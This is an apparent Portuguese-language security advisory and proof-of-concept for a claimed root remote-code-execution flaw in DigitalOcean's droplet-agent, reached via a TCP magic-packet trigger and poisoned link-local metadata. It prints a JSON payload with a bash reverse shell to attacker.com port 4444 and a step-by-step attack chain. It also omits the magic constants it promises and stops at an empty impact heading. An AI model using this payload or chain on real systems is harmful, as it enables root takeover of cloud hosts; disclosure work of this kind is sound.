
Análise técnica e PoC para CVE-2026-24516: Execução Remota de Código como Root Não Autenticada no DigitalOcean Droplet Agent (CVSS 10.0).
ID: CVE-2026-24516
TÍTULO: RCE como Root Não Autenticada via Envenenamento de Metadados e Canal Lateral
SEVERIDADE: Crítica (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
PESQUISADOR: Anmol Singh Rajput (@poxsky)
AFETADO: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
O 'droplet-agent' é um daemon de sistema privilegiado (UID 0) projetado para telemetria e diagnósticos remotos. Ele mantém um estado de monitoramento passivo até que uma sequência de sinalização específica seja recebida. A vulnerabilidade central reside no "Modelo de Confiança Implícita" do serviço de metadados link-local (169.254.169.254), que carece de verificações de integridade criptográfica.
A. CANAL LATERAL TCP PASSIVO (A CAMADA DE SINALIZAÇÃO) O agente utiliza um listener de socket raw (internal/metadata/watcher/ssh_watcher.go) na Porta 22. Ele realiza a transição de estado de IDLE para ACTIVE com base em constantes mágicas hardcoded no cabeçalho TCP:
Análise: Isso cria um gatilho determinístico. Um atacante externo pode personificar o plano de controle da infraestrutura falsificando um único pacote TCP SYN com esses valores mágicos.
B. VIOLAÇÃO DA FRONTEIRA DE CONFIANÇA (A FALHA LINK-LOCAL) Após a sinalização, o agente busca instruções JSON do endpoint de metadados da nuvem. A vulnerabilidade é uma Falta de Verificação de Autenticidade. O agente trata a zona 169.254.169.254 como uma "Zona Confiável Endurecida", falhando em verificar assinaturas de payload (HMAC/mTLS).
C. O SUMIDOURO: INJEÇÃO DE COMANDO NÃO SANITIZADA O 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) contém um sumidouro onde ele analisa o array 'requesting'.
PERSONIFICAÇÃO: O atacante identifica um SSRF em uma aplicação hospedada para encaminhar requisições ao serviço de metadados link-local.
ENVENENAMENTO: O atacante configura um servidor de metadados malicioso retornando: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
A BATIDA: O atacante envia o gatilho TCP "DODO-TTY" para a Porta 22.
EXECUÇÃO: O agente busca o JSON envenenado e executa o reverse shell com UID EFETIVO 0 (Root).
AVALIAÇÃO DE IMPACTO
